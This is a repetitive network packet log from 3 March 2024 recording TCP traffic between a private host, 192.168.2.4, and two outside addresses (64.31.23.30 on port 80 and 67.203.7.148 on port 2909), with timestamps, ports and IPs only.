Mar 3, 2024 13:43:09.146763086 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.146795034 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.146821022 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.146825075 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.146868944 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.146876097 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.146908045 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.146909952 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.146954060 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.146975994 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.146991968 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147026062 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147083998 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147126913 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147134066 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147134066 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147173882 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147206068 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147253036 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147273064 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147320986 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147629023 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147677898 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147772074 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147819042 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147819996 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147836924 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.147876978 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147876978 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.147995949 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148034096 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148046017 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148077965 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148078918 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148106098 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148123026 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148150921 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148366928 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148561001 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148617983 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148663998 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148675919 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148705959 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148709059 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148735046 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148753881 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148763895 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148816109 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148818016 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148829937 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148868084 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148868084 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148874998 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148901939 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.148936033 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148936033 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.148964882 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149004936 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149009943 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149049997 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149432898 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149473906 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149499893 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149529934 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149542093 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149580956 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149606943 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149660110 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149668932 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149713993 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149722099 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149751902 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149764061 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149791956 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149806976 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149828911 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.149849892 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.149878979 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.186702967 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.186718941 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.186767101 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.186798096 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.228266954 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.232887983 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.232899904 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.232912064 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.232942104 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.232971907 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.233191013 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.233724117 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.233776093 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.233927965 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.233975887 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234266043 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234306097 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234309912 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234350920 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234384060 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234430075 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234535933 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234582901 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234639883 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234679937 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.234687090 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.234729052 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235284090 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235325098 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235347986 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235392094 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235399008 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235452890 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235455036 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235493898 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235570908 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235615969 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.235836029 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.235879898 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236157894 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236207008 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236219883 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236263990 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236263990 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236306906 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236330032 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236373901 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236387014 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236433983 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236476898 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236526012 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236557007 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236568928 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236603975 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236619949 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236623049 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236654997 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236658096 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236701965 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236711979 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236752987 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236820936 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236865044 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236886978 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236928940 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.236938000 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.236979008 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237113953 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237163067 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237190008 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237236977 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237260103 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237306118 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237307072 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237350941 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237380981 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237427950 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237437010 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237481117 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237489939 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237507105 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237555027 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237559080 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237559080 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237592936 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237603903 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237646103 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237669945 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237682104 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237713099 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237760067 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237766027 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237814903 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237829924 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237871885 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237921000 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.237968922 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.237982988 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238025904 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238028049 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238074064 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238121033 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238137960 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238168955 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238198996 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238217115 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238266945 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238352060 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238385916 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238399029 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238425970 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238477945 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238491058 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238523006 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238547087 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238555908 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238599062 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238620996 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238662004 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238667011 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238712072 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238714933 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238749981 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238761902 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238805056 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238872051 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238914967 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.238948107 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.238989115 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239003897 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239041090 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239049911 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239077091 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239095926 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239134073 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239140034 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239171982 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239192963 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239236116 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239319086 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239365101 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239407063 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239451885 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239450932 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239492893 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239521980 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239566088 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239578962 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239619970 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239629030 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239686012 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239687920 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239721060 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239762068 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239805937 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239859104 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239916086 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.239924908 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.239972115 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240019083 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240061998 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240089893 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240134001 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240149021 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240192890 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240201950 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240245104 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240251064 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240295887 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240303993 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240345955 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240348101 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240375996 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240391970 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240421057 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240453005 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240495920 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240510941 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240555048 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240570068 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240614891 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240628004 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240663052 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240677118 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240705013 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240725040 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240768909 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240772009 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240818024 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240850925 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240904093 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240919113 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240943909 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.240947962 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.240987062 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.241002083 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.241041899 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.260195971 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.274261951 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.274275064 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.274328947 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.274358988 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.274528027 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.274540901 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.274601936 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.274601936 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.309395075 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.314402103 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.320049047 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320079088 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320091009 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320132017 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.320136070 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320149899 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320158005 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.320178986 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320178986 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.320215940 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.320215940 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.320822954 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320858002 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.320904970 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321027040 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321043968 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321090937 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321413040 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321464062 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321515083 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321547985 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321638107 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321677923 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321710110 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321744919 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321789026 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321790934 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321805000 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321836948 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321846962 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321893930 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321932077 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.321939945 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.321969032 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322011948 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.322375059 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322467089 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322480917 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322513103 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.322529078 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322572947 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.322606087 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322803020 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322820902 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322853088 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.322865009 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.322911024 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.322968006 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323075056 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323122978 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323162079 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323180914 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323230028 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323316097 CET	80	49734	64.31.23.30	192.168.2.4
